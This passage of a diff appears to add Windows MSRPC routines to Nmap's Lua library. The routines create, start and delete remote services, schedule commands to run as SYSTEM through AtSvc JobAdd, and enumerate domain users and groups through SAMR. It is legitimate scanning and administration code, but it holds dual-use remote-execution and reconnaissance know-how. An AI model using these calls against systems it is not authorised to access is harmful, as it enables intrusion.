+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.closeservicehandle)"
+ end
+
+ return true, result
+end
+
+--- Calls the function <code>CreateServiceW</code>, which creates a service on the remote machine. This should
+-- be deleted with <code>DeleteService</code> when finished.
+--
+--@param smbstate The SMB state table
+--@param handle The handle created by <code>OpenSCManagerW</code>
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_createservicew(smbstate, handle, service_name, display_name, path)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling CreateServiceW() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *scmanager_handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] [string,charset(UTF16)] uint16 ServiceName[],
+ .. msrpctypes.marshall_unicode(service_name, true)
+
+ -- [in] [string,charset(UTF16)] uint16 *DisplayName,
+ .. msrpctypes.marshall_unicode_ptr(display_name, true)
+
+ -- [in] uint32 desired_access,
+ .. msrpctypes.marshall_int32(0x000f01ff) -- Access: Max
+
+ -- [in] uint32 type,
+ .. msrpctypes.marshall_int32(0x00000010) -- Type: own process
+
+ -- [in] uint32 start_type,
+ .. msrpctypes.marshall_int32(0x00000003) -- Start: Demand
+
+ -- [in] uint32 error_control,
+ .. msrpctypes.marshall_int32(0x00000000) -- Error: Ignore
+
+ -- [in] [string,charset(UTF16)] uint16 binary_path[],
+ .. msrpctypes.marshall_unicode(path, true)
+
+ -- [in] [string,charset(UTF16)] uint16 *LoadOrderGroupKey,
+ .. msrpctypes.marshall_unicode_ptr(nil)
+
+ -- [in,out] uint32 *TagId,
+ .. msrpctypes.marshall_int32_ptr(nil)
+
+ -- [in,size_is(dependencies_size)] uint8 *dependencies,
+ .. msrpctypes.marshall_int8_ptr(nil)
+
+ -- [in] uint32 dependencies_size,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] [string,charset(UTF16)] uint16 *service_start_name,
+ .. msrpctypes.marshall_unicode_ptr(nil)
+
+ -- [in,size_is(password_size)] uint8 *password,
+ .. msrpctypes.marshall_int8_ptr(nil)
+
+ -- [in] uint32 password_size,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [out,ref] policy_handle *handle
+
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0c, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: CreateServiceW() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *scmanager_handle,
+ -- [in] [string,charset(UTF16)] uint16 ServiceName[],
+ -- [in] [string,charset(UTF16)] uint16 *DisplayName,
+ -- [in] uint32 desired_access,
+ -- [in] uint32 type,
+ -- [in] uint32 start_type,
+ -- [in] uint32 error_control,
+ -- [in] [string,charset(UTF16)] uint16 binary_path[],
+ -- [in] [string,charset(UTF16)] uint16 *LoadOrderGroupKey,
+ -- [in,out] uint32 *TagId,
+ pos, result['TagId'] = msrpctypes.unmarshall_int32_ptr(arguments, pos)
+
+ -- [in,size_is(dependencies_size)] uint8 *dependencies,
+ -- [in] uint32 dependencies_size,
+ -- [in] [string,charset(UTF16)] uint16 *service_start_name,
+ -- [in,size_is(password_size)] uint8 *password,
+ -- [in] uint32 password_size,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.createservicew)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.createservicew)"
+ end
+
+ return true, result
+end
+
+--- Calls the function <code>DeleteService</code>, which deletes a service on the remote machine. This service
+-- has to opened with <code>OpenServiceW</code> or similar functions.
+--
+--@param smbstate The SMB state table.
+--@param handle The handle to delete, opened with <code>OpenServiceW</code> or similar.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_deleteservice(smbstate, handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling DeleteService() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *handle
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x02, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: DeleteService() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+
+ -- [in,ref] policy_handle *handle
+
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.deleteservice)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.deleteservice)"
+ end
+
+ return true, result
+end
+
+--- Calls the function <code>OpenServiceW</code>, which gets a handle to the service. Should be closed with
+-- <code>CloseServiceHandle</code> when finished.
+--
+--@param smbstate The SMB state table.
+--@param handle A handle to the policy manager, opened with <code>OpenSCManagerW</code> or similar.
+--@param name The name of the service.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_openservicew(smbstate, handle, name, access_mask)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenServiceW() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *scmanager_handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] [string,charset(UTF16)] uint16 ServiceName[],
+ .. msrpctypes.marshall_unicode(name, true)
+
+ -- [in] uint32 access_mask,
+ .. msrpctypes.marshall_int32(access_mask)
+ -- [out,ref] policy_handle *handle
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x10, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenServiceW() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *scmanager_handle,
+ -- [in] [string,charset(UTF16)] uint16 ServiceName[],
+ -- [in] uint32 access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.openservicew)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.openservicew)"
+ end
+
+ return true, result
+end
+
+--- Calls the function <code>StartServiceW</code>, which starts a service. Requires a handle
+-- created by <code>OpenServiceW</code>.
+--
+--@param smbstate The SMB state table.
+--@param handle The handle, opened by <code>OpenServiceW</code>.
+--@param args An array of strings representing the arguments.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_startservicew(smbstate, handle, args)
+ local status, result
+ local arguments
+ local pos, align
+ stdnse.debug2("MSRPC: Calling StartServiceW() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] uint32 NumArgs,
+ .. (args and msrpctypes.marshall_int32(#args) or msrpctypes.marshall_int32(0))
+
+ -- [in/*FIXME:,length_is(NumArgs)*/] [string,charset(UTF16)] uint16 *Arguments
+ .. msrpctypes.marshall_unicode_array_ptr(args, true)
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x13, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: StartServiceW() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *handle,
+ -- [in] uint32 NumArgs,
+ -- [in/*FIXME:,length_is(NumArgs)*/] [string,charset(UTF16)] uint16 *Arguments
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.startservicew)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.startservicew)"
+ end
+
+ return true, result
+
+end
+
+--- Calls the function <code>ControlService</code>, which can send various commands to the service.
+--
+--@param smbstate The SMB state table.
+--@param handle The handle, opened by <code>OpenServiceW</code>.
+--@param control The command to send. See <code>svcctl_ControlCode</code> in <code>msrpctypes.lua</code>.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_controlservice(smbstate, handle, control)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling ControlService() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] uint32 control,
+ .. msrpctypes.marshall_svcctl_ControlCode(control)
+
+ -- [out,ref] SERVICE_STATUS *service_status
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x01, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: ControlService() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *handle,
+ -- [in] uint32 control,
+ -- [out,ref] SERVICE_STATUS *service_status
+ pos, result['service_status'] = msrpctypes.unmarshall_SERVICE_STATUS(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.controlservice)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.controlservice)"
+ end
+
+ return true, result
+
+end
+
+
+--- Calls the function <code>QueryServiceStatus</code>, which gets the state information about the service.
+--
+--@param smbstate The SMB state table.
+--@param handle The handle, opened by <code>OpenServiceW</code>.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_queryservicestatus(smbstate, handle, control)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling QueryServiceStatus() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [out,ref] SERVICE_STATUS *service_status
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x06, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: QueryServiceStatus() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *handle,
+ -- [out,ref] SERVICE_STATUS *service_status
+ pos, result['service_status'] = msrpctypes.unmarshall_SERVICE_STATUS(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.queryservicestatus)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.queryservicestatus)"
+ end
+
+ return true, result
+end
+
+-- Crafts a marshalled request for sending it to the enumservicestatusw function
+--
+--@param handle The handle, opened by <code>OpenServiceW</code>.
+--@param typeofservice The type of services to be enumerated.
+--@param servicestate The state of the services to be enumerated.
+--@param cbbufsize The size of the buffer pointed to by the lpServices
+-- parameter, in bytes.
+--@param lpresumehandle A pointer to a variable that, on input, specifies the
+-- starting point of enumeration.
+--@return string Returns marshalled string with given arguments.
+local function enumservicestatusparams(handle, tyepofservice, servicestate, cbbufsize, lpresumehandle)
+
+ -- [in,ref] policy_handle *handle
+ return msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] uint32 type
+ .. msrpctypes.marshall_int32(tyepofservice, true)
+
+ -- [in] svcctl_ServiceState
+ .. msrpctypes.marshall_int32(servicestate, true)
+
+ -- [in] [range(0,0x40000)] uint32 cbufsize
+ .. msrpctypes.marshall_int32(cbbufsize, true)
+
+ -- [in,out,unique] uint32 *resume_handle
+ .. msrpctypes.marshall_int32_ptr(lpresumehandle, true)
+
+end
+
+-- Unmarshalls the string based on offset.
+--
+--@param arguments The marshalled arguments to extract the data.
+--@param startpos The start position of the string.
+--@return startpos Returns the strating position of the string.
+--@return string Returns the unmarshalled string.
+
+-- Unmarshalls ENUM_SERVICE_STATUS structure.
+--
+-- The structure of ENUM_SERVICE_STATUS is as follows:
+--
+-- <code>
+-- typedef struct {
+-- LPTSTR lpServiceName
+-- LPTSTR lpDisplayName
+-- SERVICE_STATUS ServiceStatus
+-- }
+-- </code>
+--
+-- References:
+-- https://msdn.microsoft.com/en-us/library/windows/desktop/ms682651(v=vs.85).aspx
+--
+-- I created this function as a support for svcctl_enumservicesstatusw function.
+-- svcctl_enumservicesstatusw function returns multiple services in the buffer.
+-- In order to remember the starting and ending positions of different unmarshalled
+-- strings and SERVICE_STATUS structs I had to store the previous offset of the
+-- unmarshalled string. This previous offset will be helpful while retrieving the
+-- continuous strings from the buffer.
+--
+--@param arguments The marshalled arguments to extract the data.
+--@param pos The position within <code>arguments</code>.
+--@return pos Returns new position in the arguments.
+--@return serviceName Returns an unmarshalled string.
+--@return displayName Returns an unmarshalled string.
+--@return serviceStatus Returns table of values
+local function unmarshall_enum_service_status(arguments, pos)
+
+ local _
+ local serviceNameOffset
+ local displayNameOffset
+ local serviceStatus
+ local serviceName
+ local displayName
+
+ pos, serviceNameOffset = msrpctypes.unmarshall_int32(arguments, pos)
+ pos, displayNameOffset = msrpctypes.unmarshall_int32(arguments, pos)
+ pos, serviceStatus = msrpctypes.unmarshall_SERVICE_STATUS(arguments, pos)
+
+ _, serviceName = msrpctypes.unmarshall_lptstr(arguments, serviceNameOffset + 5)
+ _, displayName = msrpctypes.unmarshall_lptstr(arguments, displayNameOffset + 5)
+
+ -- ServiceName and displayName are converted into UTF-8.
+ serviceName = unicode.utf16to8(serviceName)
+ displayName = unicode.utf16to8(displayName)
+
+ -- Since we are converting the string from utf16to8, an extra NULL byte is
+ -- present at the end of the string. These two lines, strip the last character
+ -- or NULL byte from the end of the string.
+ serviceName = string.sub(serviceName, 1, serviceName:len()-1)
+ displayName = string.sub(displayName, 1, displayName:len()-1)
+
+ stdnse.debug2("ServiceName = %s", serviceName)
+ stdnse.debug2("DisplayName = %s", displayName)
+
+ return pos, serviceName, displayName, serviceStatus
+
+end
+
+-- Attempts to retrieve list of services from a remote system.
+--
+-- The structure of EnumServicesStatus is as follows:
+--
+-- <code>
+-- typedef struct {
+-- policy_handle *handle,
+-- uint32 type,
+-- svcctl_ServiceState state,
+-- uint8 *service,
+-- uint32 offered,
+-- uint32 *needed,
+-- uint32 *services_returned,
+-- uint32 *resume_handle
+-- }
+-- </code>
+--
+-- References:
+-- https://github.com/samba-team/samba/blob/d8a5565ae647352d11d622bd4e73ff4568678a7c/librpc/idl/svcctl.idl
+-- https://msdn.microsoft.com/en-us/library/windows/desktop/ms682637(v=vs.85).aspx
+--
+--@param smbstate The SMB state table.
+--@param handle The handle, opened by <code>OpenServiceW</code>.
+--@param dwservicetype The type of services to be enumerated.
+-- Lookup table for dwservicetype is as follows:
+-- SERVICE_DRIVER - 0x0000000B
+-- SERVICE_FILE_SYSTEM_DRIVER - 0x00000002
+-- SERVICE_KERNEL_DRIVER - 0x00000001
+-- SERVICE_WIN32 - 0x00000030
+-- SERVICE_WIN32_OWN_PROCESS - 0x00000010 (default)
+-- SERVICE_WIN32_SHARE_PROCESS - 0x00000020
+--@param dwservicestate The state of the services to be enumerated.
+-- Lookup table for dwservicetype is as follows:
+-- SERVICE_ACTIVE - 0x00000001
+-- SERVICE_INACTIVE - 0x00000002
+-- SERVICE_STATE_ALL - 0x00000003 (default)
+--@return pos Returns success or failure.
+--@return output Returns the list of services running on a remote windows system
+-- with serviceName, displayName and service status structure.
+function svcctl_enumservicesstatusw(smbstate, handle, dwservicetype, dwservicestate)
+ local status
+ local result
+ local arguments
+ local pos
+ local _
+ local serviceName
+ local displayName
+ local serviceStatus
+ local lpservices
+
+ local output = stdnse.output_table()
+
+ local DW_SERVICE_TYPE = dwservicetype or 0x00000010
+ local DW_SERVICE_STATE = dwservicestate or 0x00000003
+
+ arguments = enumservicestatusparams(handle, DW_SERVICE_TYPE, DW_SERVICE_STATE, 0x00, nil)
+
+ -- This call is made only to retrieve the pcbBytesNeeded value.
+ status, result = call_function(smbstate, 0x0e, arguments)
+
+ if status ~= true then
+ return false, result
+ end
+
+ arguments = result["arguments"]
+
+ pos = 1
+
+ -- Since the first call is made to retrieve pcbBytesNeeded, the server returns
+ -- an empty array in the response. The following line of code unpacks an
+ -- empty array.
+ lpservices, pos = string.unpack("<s4", arguments, pos)
+
+ -- [out,ref] [range(0,0x40000)] uint32 *pcbBytesNeeded,
+ pos, result["pcbBytesNeeded"] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- Unmarshalls return value.
+ _, result["ReturnValue"] = msrpctypes.unmarshall_int32(arguments, arguments:len()-3)
+
+ -- 0x00 stands for No Error. This message at this stage indicates there are no services.
+ if result["ReturnValue"] == 0x00 then
+ return true, {}
+
+ -- 0x05 stands for Access Denied.
+ elseif result["ReturnValue"] == 0x05 then
+ return false, "Access is denied."
+
+ -- Checks for other error codes expect 0x7a and 0xea.
+ elseif not (result["ReturnValue"] == 0x7A or result["ReturnValue"] == 0xEA) then
+ return false, "Error occurred. Error code = " .. tostring(result["ReturnValue"])
+ end
+
+ ------- Functional calls here are made to retrieve the data -------------------------
+
+ local MAX_BUFFER_SIZE = 0xfa00
+ stdnse.debug3("MAX_BUFFER_SIZE = %d", MAX_BUFFER_SIZE)
+
+ -- Initalizes the lpResumeHandle parameter for the first call.
+ result["lpResumeHandle"] = 0x00
+
+ -- Loop runs until we retrieve all the data into our buffer.
+ repeat
+
+ -- cbbufsize parameter in enumservicestatusparams function *must* have a value
+ -- strictly less than result["pcbBytesNeeded"] retrieved from the above call.
+ --
+ -- If larger value is assigned to result["pcbBytesNeeded"], errored response
+ -- will be returned.
+ arguments = enumservicestatusparams(handle, DW_SERVICE_TYPE, DW_SERVICE_STATE, math.min(result["pcbBytesNeeded"], MAX_BUFFER_SIZE), result["lpResumeHandle"])
+
+ status, result = call_function(smbstate, 0x0e, arguments)
+
+ if status ~= true then
+ return false, result
+ end
+
+ arguments = result["arguments"]
+
+ -- Caches length for future use.
+ local length = arguments:len()
+
+ -- Last 4 bytes returns the return value.
+ _, result["ReturnValue"] = msrpctypes.unmarshall_int32(arguments, length - 3)
+ stdnse.debug("ReturnValue = %d", result["ReturnValue"])
+
+ -- Next last 8 bytes returns the lpResumeHandle.
+ _, result["lpResumeHandle"] = msrpctypes.unmarshall_int32_ptr(arguments, length - 11)
+ stdnse.debug("lpResumeHandle = %d", result["lpResumeHandle"])
+
+ -- Next last 4 bytes returns the number of services returned.
+ _, result["lpServicesReturned"] = msrpctypes.unmarshall_int32(arguments, length - 15)
+ stdnse.debug("lpServicesReturned = %d", result["lpServicesReturned"])
+
+ -- Next last 4 bytes returns the pcbBytesNeeded or pcbBytes left for next iteration.
+ _, result["pcbBytesNeeded"] = msrpctypes.unmarshall_int32(arguments, length - 19)
+ stdnse.debug("pcbBytesNeeded = %d", result["pcbBytesNeeded"])
+
+ -- Since we are receiving the length of arguments in the beginning of the buffer,
+ -- we have to exclude those bytes from our decoding functions.
+ -- The size of the buffer will be uint32 which is of 4 bytes and hence we
+ -- take the starting position as 5 for unmarshalling purposes.
+ pos = 5
+
+ -- Initializes local variables for future use.
+ local count = result["lpServicesReturned"]
+
+ -- Executes the loop until all the services are unmarshalled.
+ repeat
+
+ pos, serviceName, displayName, serviceStatus = unmarshall_enum_service_status(arguments, pos)
+
+ local t = stdnse.output_table()
+ t["display_name"] = displayName
+ t["state"] = serviceStatus["state"]
+ t["type"] = serviceStatus["type"]
+ t["controls_accepted"] = serviceStatus["controls_accepted"]
+
+ -- Stores the result in a table.
+ output[serviceName] = t
+
+ count = count - 1
+
+ until count < 1
+
+ until result["pcbBytesNeeded"] == 0
+
+ stdnse.debug3("MSRPC: EnumServiceStatus() returned successfully")
+
+ return true, output
+
+end
+
+---Calls the function <code>JobAdd</code>, which schedules a process to be run
+-- on the remote machine.
+--
+-- This requires administrator privileges to run, and the command itself runs
+-- as SYSTEM.
+--@param smbstate The SMB state table.
+--@param server The IP or Hostname of the server (seems to be ignored but it's
+-- a good idea to have it)
+--@param command The command to run on the remote machine. The appropriate
+-- file(s) already have to be there, and this should be a full
+-- path.
+--@param time [optional] The time at which to run the command. Default: 5
+-- seconds from when the user logged in.
+function atsvc_jobadd(smbstate, server, command, time)
+ local status, result
+ local arguments
+ local pos, align
+
+ -- Set up the time
+ if(time == nil) then
+ -- TODO
+ end
+
+ stdnse.debug2("MSRPC: Calling AddJob(%s) [%s]", command, smbstate['ip'])
+
+ -- [in,unique,string,charset(UTF16)] uint16 *servername,
+ arguments = msrpctypes.marshall_unicode_ptr(server, true)
+
+ -- [in] atsvc_JobInfo *job_info,
+ .. msrpctypes.marshall_atsvc_JobInfo(command, time)
+ -- [out,ref] uint32 *job_id
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x00, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: AddJob() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,unique,string,charset(UTF16)] uint16 *servername,
+ -- [in] atsvc_JobInfo *job_info,
+ -- [out,ref] uint32 *job_id
+ pos, result['job_id'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (atsvc.addjob())"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (atsvc.addjob())"
+ end
+
+ return true, result
+end
+
+---Attempt to enumerate users using SAMR functions.
+--
+--@param host The host object.
+--@return (status, result) If status is false, result is an error message. Otherwise, result
+-- is an array of tables, each of which contain the following fields:
+-- * name
+-- * fullname
+-- * description
+-- * rid
+-- * domain
+-- * typestr
+-- * source
+-- * flags[]
+function samr_enum_users(host)
+
+ local smbstate
+ local bind_result, connect4_result, enumdomains_result
+ local connect_handle
+ local status, smbstate
+ local response = {}
+
+ -- Create the SMB session
+ status, smbstate = start_smb(host, SAMR_PATH, true)
+
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SAMR service
+ status, bind_result = bind(smbstate, SAMR_UUID, SAMR_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Call connect4()
+ status, connect4_result = samr_connect4(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, connect4_result
+ end
+
+ -- Save the connect_handle
+ connect_handle = connect4_result['connect_handle']
+
+ -- Call EnumDomains()
+ status, enumdomains_result = samr_enumdomains(smbstate, connect_handle)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, enumdomains_result
+ end
+
+ -- If no domains were returned, go back with an error
+ if(#enumdomains_result['sam']['entries'] == 0) then
+ stop_smb(smbstate)
+ return false, "Couldn't find any domains"
+ end
+
+ -- Now, loop through the domains and find the users
+ for i = 1, #enumdomains_result['sam']['entries'], 1 do
+
+ local domain = enumdomains_result['sam']['entries'][i]['name']
+ -- We don't care about the 'builtin' domain, in all my tests it's empty
+ if(domain ~= 'Builtin') then
+ -- Call LookupDomain()
+ local status, lookupdomain_result = samr_lookupdomain(smbstate, connect_handle, domain)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, lookupdomain_result
+ end
+
+ -- Save the sid
+ local sid = lookupdomain_result['sid']
+
+ -- Call OpenDomain()
+ local status, opendomain_result = samr_opendomain(smbstate, connect_handle, sid)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, opendomain_result
+ end
+
+ -- Save the domain handle
+ local domain_handle = opendomain_result['domain_handle']
+
+ -- Loop as long as we're getting valid results
+ local j = 0
+ repeat
+ -- Call QueryDisplayInfo()
+ local status, querydisplayinfo_result = samr_querydisplayinfo(smbstate, domain_handle, j, SAMR_GROUPSIZE)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, querydisplayinfo_result
+ end
+
+ -- Save the response
+ if(querydisplayinfo_result['info'] ~= nil and querydisplayinfo_result['info']['entries'] ~= nil) then
+ local k
+ for k = 1, #querydisplayinfo_result['info']['entries'], 1 do
+ local array = {}
+ local l
+
+ -- The reason these are all indexed from '1' is because we request names one at a time.
+ array['name'] = querydisplayinfo_result['info']['entries'][k]['account_name']
+ array['fullname'] = querydisplayinfo_result['info']['entries'][k]['full_name']
+ array['description'] = querydisplayinfo_result['info']['entries'][k]['description']
+ array['rid'] = querydisplayinfo_result['info']['entries'][k]['rid']
+ array['domain'] = domain
+ array['type'] = 'SID_NAME_USER'
+ array['typestr'] = 'User'
+ array['source'] = 'SAMR Enumeration'
+ array['flags'] = querydisplayinfo_result['info']['entries'][k]['acct_flags']
+
+ -- Convert each element in the 'flags' array into the equivalent string
+ for l = 1, #array['flags'], 1 do
+ array['flags'][l] = samr_AcctFlags_tostr(array['flags'][l])
+ end
+
+ -- Add it to the array
+ response[#response + 1] = array
+ end
+ end
+ j = j + SAMR_GROUPSIZE
+ until querydisplayinfo_result['return'] == 0
+
+ -- Close the domain handle
+ samr_close(smbstate, domain_handle)
+ end -- Checking for 'builtin'
+ end -- Domain loop
+
+ -- Close the connect handle
+ samr_close(smbstate, connect_handle)
+
+ -- Stop the SAMR SMB
+ stop_smb(smbstate)
+
+ return true, response
+end
+
+function samr_enum_groups(host)
+ stdnse.debug1("MSRPC: Attempting to enumerate groups on %s", host.ip)
+ -- Create the SMB session
+ local status, smbstate = start_smb(host, SAMR_PATH, true)
+
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SAMR service
+ local status, bind_result = bind(smbstate, SAMR_UUID, SAMR_VERSION, nil)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Call connect4()
+ local status, connect4_result = samr_connect4(smbstate, host.ip)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, connect4_result
+ end
+
+ -- Save the connect_handle
+ local connect_handle = connect4_result['connect_handle']
+
+ -- Call EnumDomains()
+ local status, enumdomains_result = samr_enumdomains(smbstate, connect_handle)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, enumdomains_result
+ end
+
+ -- If no domains were returned, go back with an error
+ if(#enumdomains_result['sam']['entries'] == 0) then
+ stop_smb(smbstate)
+ return false, "Couldn't find any domains"
+ end
+
+ -- Now, loop through the domains and find the groups
+ local domains = {}
+ for _, domain in ipairs(enumdomains_result['sam']['entries']) do
+ -- Get a handy domain name
+ domain = domain['name']
+ domains[domain] = {}
+
+ -- Call LookupDomain()
+ local status, lookupdomain_result = samr_lookupdomain(smbstate, connect_handle, domain)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, lookupdomain_result
+ end
+
+ -- Save the sid
+ local domain_sid = lookupdomain_result['sid']
+
+ -- Call OpenDomain()
+ local status, opendomain_result = samr_opendomain(smbstate, connect_handle, domain_sid)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, opendomain_result
+ end
+
+ -- Save the domain handle
+ local domain_handle = opendomain_result['domain_handle']
+
+ -- Get a list of groups
+ local status, enumaliases_result = samr_enumdomainaliases(smbstate, domain_handle)
+ if(status == false) then
+ stop_smb(smbstate)
+ return false, "Couldn't enumerate groups: " .. enumaliases_result
+ end
+
+ -- If it returned a nil array
+ if(enumaliases_result['sam'] == nil or enumaliases_result['sam']['entries'] == nil) then
+ return false, "ERROR: No groups returned by samr_EnumDomainAliases()"
+ end
+
+ -- Print some output
+ stdnse.debug1("MSRPC: Found %d groups in %s", #enumaliases_result['sam']['entries'], domain)
+
+ -- Record the results
+ local group_rids = {}
+ for _, group in ipairs(enumaliases_result['sam']['entries']) do
+ -- The RID
+ local group_rid = group['idx']
+
+ -- Keep a list of just RIDs, for easier lookup after
+ table.insert(group_rids, group_rid)
+
+ -- Save the output, this is what will be returned
+ domains[domain][group_rid] = {}
+ domains[domain][group_rid]['name'] = group['name']
+ end -- Loop over group entries
+
+ for _, group_rid in ipairs(group_rids) do
+ -- Get a handle to the alias
+ local status, openalias_result = samr_openalias(smbstate, domain_handle, group_rid)
+ if(not(status)) then
+ stop_smb(smbstate)
+ return false, "Couldn't open handle to group: " .. openalias_result
+ end
+ local group_handle = openalias_result['alias_handle']
+
+ -- Get the members of the group
+ local status, getmembers_result = samr_getmembersinalias(smbstate, group_handle)
+ if(not(status)) then
+ stop_smb(smbstate)
+ return false, "Couldn't get members in group: " .. getmembers_result
+ end
+
+ -- Save the SIDs
+ local member_sids = {}
+ if(getmembers_result and getmembers_result.sids and getmembers_result.sids.sids) then
+ -- Set the list of member_sids
+ member_sids = getmembers_result.sids.sids
+ end
+
+ -- Print some output
+ stdnse.debug1("MSRPC: Adding group '%s' (RID: %d) with %d members", domains[domain][group_rid]['name'], group_rid, #member_sids)
+
+ -- Save the output
+ domains[domain][group_rid]['member_sids'] = member_sids
+
+ -- Close the group
+ samr_close(smbstate, group_handle)
+ end -- Loop over group RIDs
+
+ -- Close the domain handle
+ samr_close(smbstate, domain_handle)
+
+ end -- Domain loop
+
+ -- Close the connect handle
+ samr_close(smbstate, connect_handle)
+
+ -- Stop the SAMR SMB
+ stop_smb(smbstate)
+
+
+ -- Now, we need a handle to LSA (in order to convert the RIDs to users
+ -- Create the SMB session
+ local status, smbstate = start_smb(host, LSA_PATH, true)
+ if(status == false) then
+ return false, smbstate
+ end
+
